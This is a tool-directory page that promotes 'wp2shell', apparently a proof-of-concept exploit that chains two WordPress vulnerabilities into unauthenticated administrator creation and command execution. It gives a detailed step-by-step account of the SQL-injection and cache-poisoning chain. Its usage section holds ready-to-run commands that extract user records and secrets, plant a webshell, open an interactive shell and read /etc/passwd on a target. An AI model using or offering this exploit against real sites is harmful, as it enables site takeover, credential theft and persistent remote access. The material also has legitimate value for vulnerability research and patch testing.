Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
wp2shell — PoC for CVE-2026-63030 + CVE-2026-60137, AKA WP2Shell | Kitploit
Tools/GitHubGitHub/crypto-cat/wp2shell
Vulnerability ScannersCode AnalysisExploitationWeb SecurityLearning & Education
GitHubcrypto-cat/wp2shell

wp2shell

PoC for CVE-2026-63030 + CVE-2026-60137, AKA WP2Shell

View Repository
3752 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

wp2shell

Pre-authentication remote code execution for WordPress 6.9.0–6.9.4 and 7.0.0–7.0.1.

Chains CVE-2026-63030 (batch route confusion SQLi) with CVE-2026-60137 (customizer changeset re-entry) to achieve unauthenticated administrator creation and OS command execution. No password cracking required.

wp2shell demo

Props to hashkitten for the discovery, read the full SLCyber technical analysis here.

The Vulnerability

WordPress's REST API batch processor (serve_batch_request_v1) has an off-by-one indexing bug: when wp_parse_url() fails on a sub-request path, the resulting WP_Error is pushed to $validation[] but not $matches[]. This desynchronizes the two arrays — every subsequent request is dispatched under the wrong handler.

By nesting a carefully structured batch inside another batch, an attacker can:

  1. Route a request validated by one endpoint's schema through a completely different endpoint's callback
  2. Inject unsanitized SQL through author__not_in (the string→array cast skips absint())
  3. Use UNION SELECT to poison WordPress's object cache with fake post objects
  4. Trigger a changeset auto-publish that elevates privileges, then re-enter the REST API with admin context

Once setup is complete (discovering table prefix and admin ID), the escalation payload fires in a single HTTP request — cache poisoning, privilege escalation, and user creation all happen server-side in one round-trip.

How the Chain Works

HTTP POST /batch/v1
    │
    ▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                  → parse error, not added to $matches      │
│  [1] POST /wp/v2/posts    → $matches[0] (posts handler)             │
│  [2] POST /batch/v1       → $matches[1] (batch handler)             │
│                                                                     │
│  Desync: request[1] dispatched via $matches[1]                      │
│          POST /wp/v2/posts body interpreted as batch → inner fires  │
│                                                                     │
└──────────────────────────────────────┬──────────────────────────────┘
                                       │
    ┌──────────────────────────────────┘
    ▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                            → parse error (desync)          │
│  [1] GET  /wp/v2/widgets?UNION...   → dispatched by posts handler   │
│          ▲ WP_Query fires UNION, poisons object cache               │
│          ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1  │
│              → changeset published → admin context set              │
│              → nav_menu_item UPDATE → hierarchy Loop 2              │
│                  → parse_request → REST re-entry ─────────────┐     │
│                                                               │     │
│  [2] GET  /wp/v2/posts              (categories handler)      │     │
│  [3] GET  /wp/v2/categories         (users handler)           │     │
│  [4] POST /wp/v2/users  {body}  ◄── re-entry with admin ──────┘     │
│          ▲ desync aligns this with users handler                    │
│          ▲ admin context → user created → die()                     │
│  [5] POST /wp/v2/users  {}          (desync spacer)                 │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

Cache Poisoning (7 fake posts via UNION):

  • A trigger post with an [embed] shortcode in its content
  • A changeset post (customize_changeset, status future, date in past)
  • An outer loop partner (parent=changeset, creating Loop 1)
  • An oEmbed target (dynamic anti-recursion ID, parent=changeset, empty content)
  • A nav menu item post (poisoned as post_type=nav_menu_item for the is_nav_menu_item check)
  • A re-entry post (post_type=request, post_status=parse, parent=inner)
  • An inner loop partner (parent=re-entry, creating Loop 2)

Execution Flow:

  1. UNION poisons the object cache with all 7 fake posts
  2. Posts handler renders the trigger post's content → [embed] shortcode fires
  3. oEmbed cache lookup finds a backing post with empty content → falls through to wp_update_post
  4. wp_update_post reads the cached changeset (parent=outer) → hierarchy check detects Loop 1
  5. Fix-up writes changeset to DB with future status → auto-converts to publish
  6. _wp_customize_publish_changeset fires → wp_set_current_user(admin_id) → admin context active
  7. Changeset processes nav_menu_item[real_id] — cache says type=nav_menu_item → UPDATE path
  8. object_id resolves to a cached post with post_parent=re-entry → wp_update_post on real post
  9. Hierarchy check (non-zero $post_id) detects Loop 2 (re-entry ↔ inner)
  10. Fix-up calls wp_update_post(re-entry) → writes type=request, status=parse to DB
  11. wp_transition_post_status fires do_action("parse_request") → rest_api_loaded() → serve_request()
  12. REST API re-enters, re-processes the entire batch with admin privileges
  13. POST /wp/v2/users in the tail succeeds → administrator created → die()

An anti-recursion MySQL session variable (@_wp2s) ensures the chain fires exactly once and doesn't loop.

Features

  • Three extraction modes with auto-detection: UNION (1 request/value), error-based via EXTRACTVALUE (~30 chars/request), boolean-blind binary search (~7 requests/char)
  • Full pre-auth RCE — no credentials, no cracking, escalation fires in a single round-trip
  • Auto-discovery — table prefix via INFORMATION_SCHEMA, admin user ID via capabilities meta
  • Post-exploitation — plugin webshell with token auth, CWD-tracking interactive shell, file read/write
  • Cleanup mode — --cleanup deletes the created user and removes the webshell on exit
  • Zero dependencies — stdlib only, single file, runs on Python 3.8+

Installation

git clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

No pip install, no virtualenv. It's one file.

Usage

Check if a target is vulnerable

# Passive boolean oracle test
python3 wp2shell.py check http://target.com

# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union

Extract data

# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"

# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users

# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users

Full exploitation

# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i

# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup

# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i

# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i

Authenticated shell (with existing credentials)

python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i

Requirements for Full RCE

Download Tool